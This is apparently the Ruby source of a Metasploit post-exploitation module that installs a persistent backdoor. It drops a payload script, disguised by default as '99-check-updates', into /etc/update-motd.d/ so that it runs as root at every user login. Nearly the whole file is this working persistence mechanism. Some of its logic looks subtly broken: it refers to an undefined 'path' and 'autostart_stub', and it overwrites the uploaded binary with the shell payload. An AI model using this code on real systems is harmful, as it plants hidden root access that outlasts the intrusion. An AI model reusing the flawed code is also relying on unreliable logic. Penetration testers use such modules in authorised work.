update-motd.d Persistence

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::EXE # for generate_payload_exe
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/linux/local/motd_persistence'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'update-motd.d Persistence',
        'Description' => %q{
          This module will add a script in /etc/update-motd.d/ in order to persist a payload.
          The payload will be executed with root privileges everytime a user logs in.
          Root privileges are likely required to write to /etc/update-motd.d/.
          Verified on Ubuntu 22.04
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Julien Voisin' ],
        'Platform' => [ 'unix', 'linux' ],
        'Arch' => [
          ARCH_CMD,
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'Payload' => {
          'BadChars' => '#%\n"'
        },
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [ ['Automatic', {}] ],
        'Privileged' => true,
        'DefaultTarget' => 0,
        'DisclosureDate' => '1999-01-01',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        },
        'References' => [
          ['URL', 'https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html'],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
        ]
      )
    )
    register_options([
      OptString.new('BACKDOOR_NAME', [true, 'The filename of the backdoor', '99-check-updates']),
      OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
    ])
  end

  def check
    return CheckCode::Safe('/etc/update-motd.d/ does not exist') unless exists? '/etc/update-motd.d/'
    return CheckCode::Safe('/etc/update-motd.d/ is not writable') unless writable? '/etc/update-motd.d/'

    print_warning("#{datastore['BACKDOOR_NAME']} already exists") if exists? "/etc/update-motd.d/#{datastore['BACKDOOR_NAME']}"

    CheckCode::Appears('/etc/update-motd.d/ is writable')
  end

  def install_persistence
    update_path = '/etc/update-motd.d/'

    backdoor_path = "#{update_path}/#{datastore['BACKDOOR_NAME']}"

    if exists? backdoor_path
      fail_with Failure::BadConfig, "#{backdoor_path} is already present"
    end

    if payload.arch.first == 'cmd'
      write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
    else
      backdoor_path = writable_dir
      backdoor_path = backdoor_path.end_with?('/') ? backdoor_path : "#{backdoor_path}/"
      backdoor_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
      backdoor_path << backdoor_name
      print_status("Uploading payload file to #{backdoor_path}")
      upload_and_chmodx backdoor_path, generate_payload_exe
      write_file(path, (autostart_stub + ["Exec=\"#{backdoor_path}\""]).join("\n"))
      @clean_up_rc << "rm #{backdoor_path}\n"
    end

    write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
    @clean_up_rc << "rm #{backdoor_path}\n"
    chmod(backdoor_path, 0o755)
    print_status "#{backdoor_path} written"
    print_good('Payload will be triggered at user login')
  end
end